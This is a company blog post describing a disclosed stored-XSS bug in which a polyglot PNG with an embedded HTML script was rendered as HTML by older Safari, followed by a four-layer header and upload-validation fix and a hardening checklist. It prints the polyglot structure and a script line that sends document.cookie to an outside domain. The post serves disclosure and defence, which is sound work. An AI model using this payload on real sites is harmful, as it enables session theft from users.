Skip to content
FeaturesPricingAffiliateBlogHelpAboutContact
Get StartedSign In
Back to Blog
industry2026-05-2412 min read

I uploaded a polyglot PNG — older Safari rendered it as HTML, image-proxy nosniff gap (PR #616 EEE F4)

Vaiva (31) freelance security researcher + bug bounty hunter Vilnius Uzupis (@vaivasec), 5 yrs Lithuanian gov SecOps + 2 yrs independent. Specialty MIME-sniffing + content-type confusion + polyglot file exploit, 3 SaaS bug bounties this vector. Sunday reading thMenu open-source repo image-proxy + asset-proxy: Content-Type set but **X-Content-Type-Options: nosniff MISSING**. "If I upload polyglot file would legacy Safari + Edge sniff and render as HTML?" Test env iPhone 6s Safari 14 simulator. Polyglot file: 8-byte PNG signature + IHDR chunk + strategic padding + HTML body `<html><script>fetch("//vaivasec.lt/x?c="+document.cookie)</script></html>`. Extension .png 250KB upload to thMenu R2 MENU_IMAGES. Image-proxy URL opened in iPhone 6s Safari 14: **HTML rendered instead of PNG image**, document.cookie exfiltrated to test domain. Modern Chrome/Safari 12+ safe (no MIME-sniff), older Safari/Edge vulnerable. Vaiva responsible disclosure security@thmenu.com PoC + iPhone 6s screenshot + threat model "modern safe legacy vulnerable, older devices common in mid-tier markets." Engineering 1-hour reproduce + severity MEDIUM. grep -rn "Content-Type" cloudflare/src/handlers/ → 3 handlers R2-public-serve: image-proxy.ts, asset-proxy.ts, reverse-proxy.ts. All set Content-Type but no nosniff. **PR #616 batch EEE F4** 4-layer fix: **Layer 1 nosniff in all 3 handlers** every response block (cache hit, R2 fetch, error): `headers: { "content-type": ct, "x-content-type-options": "nosniff" }`. **Layer 2 Content-Disposition + filename sanitize** `Content-Disposition: inline; filename="<sanitized>"` regex /[^a-zA-Z0-9_\-\.]/g + 64-char max prevents multipart breakout. **Layer 3 CSP image endpoint** `default-src "none"; img-src "self"; sandbox` sandbox iframe isolation belt-and-suspenders. **Layer 4 file-type upload validation** byte-level magic-number check upload time not trusting Content-Type header, non-PNG/JPEG/GIF/WebP reject polyglot caught at upload stage. Engineering smoke test iPhone 6s Safari 14 nosniff response → broken image icon (HTML parse skipped, PNG decode fails invalid content). Production R2 sweep zero prior polyglot detected. Vaiva **MEDIUM + €500 Wise + Hall of Fame + 1-year Pro tier**. Burçin Şanlıurfa Eyyübiye (@burcinsec, 6 yrs Türksat SecOps + 2 yrs independent) version with same flow. Pattern: **on public-content endpoints served from cloud storage (R2/S3/GCS/Azure Blob), X-Content-Type-Options: nosniff header is required. Setting Content-Type alone is not enough — legacy browsers still MIME-sniff. Polyglot file upload + browser sniff = stored XSS.** Implementation checklist: (1) nosniff every response block; (2) Content-Disposition + filename regex sanitize 64-char max; (3) CSP sandbox image endpoint; (4) file-type upload-time byte-level magic-number check; (5) quarterly grep Content-Type handlers + verify nosniff; (6) legacy browser smoke test iPhone 6s/Galaxy A5/older Mobile Edge; (7) pentest polyglot upload + legacy browser open MIME-sniff trigger assert.

th

thMenu Team

thmenu.com

Found this helpful? Share it.